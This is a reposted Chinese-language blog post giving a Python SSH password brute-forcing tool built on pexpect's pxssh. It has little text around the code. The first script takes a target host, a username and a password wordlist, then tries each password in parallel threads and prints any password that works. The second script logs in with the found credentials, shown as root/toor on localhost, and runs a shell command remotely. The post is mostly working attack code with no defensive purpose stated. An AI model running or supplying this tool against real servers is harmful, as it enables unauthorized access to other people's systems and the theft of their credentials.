码迷,mamicode.com
首页 > 编程语言 > 详细

Python脚本--爆破SSH

时间:2019-09-15 16:48:52      阅读:106      评论:0      收藏:0      [点我收藏+]

标签:readline   threading   read   pytho   lin   one   kali   value   ons   

利用Pxssh是pexpect库的ssh专用脚本

环境:kali

代码:

‘‘‘
Author:yw
‘‘‘
from pexpect import pxssh
import optparse
from threading import *

Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+]Password Found:"+password)
        Found = True
    except Exception as e:
        pass
def main():
    parser = optparse.OptionParser(‘usage %prog -H <target host> -f <passwd file> -u <username>‘)
    parser.add_option(‘-H‘, dest=‘host‘, type=‘string‘, help=‘target host‘)
    parser.add_option(‘-f‘, dest=‘passwdfile‘,type=‘string‘, help=‘passwofile‘)
    parser.add_option(‘-u‘, dest=‘user‘, type=‘string‘, help=‘login username‘)
    (options,args) = parser.parse_args()
    host = options.host
    passwdfile = options.passwdfile
    user = options.user
    if host==None or passwdfile==None or user==None:
        print(parser.usage)
        exit(0)
    mn = open(passwdfile,‘r‘)
    lines = mn.readlines()
    for line in lines:
        with connection_lock:
            password = line.strip(‘\n‘)
            print(‘[-] Test:‘+str(password))
            t = Thread(target=connect,args=(host, user, password))
            t.start()
if __name__ == ‘__main__‘:
    main()

执行结果:
技术图片

爆破成功后(远程执行上述命令)

代码:

‘‘‘
Author:yw
‘‘‘
from pexpect import pxssh
def send_shell(s,shell):
    s.sendline(shell)
    s.prompt()
    print s.before
def connect(host,user,password):
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        return s
    except:
        print("[-] Error Connecting")
        exit(0)
s=connect(‘127.0.0.1‘,‘root‘,‘toor‘)
send_shell(s,‘uname -a‘)

技术图片

Python脚本--爆破SSH

标签:readline   threading   read   pytho   lin   one   kali   value   ons   

原文地址:https://blog.51cto.com/14113984/2438032

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!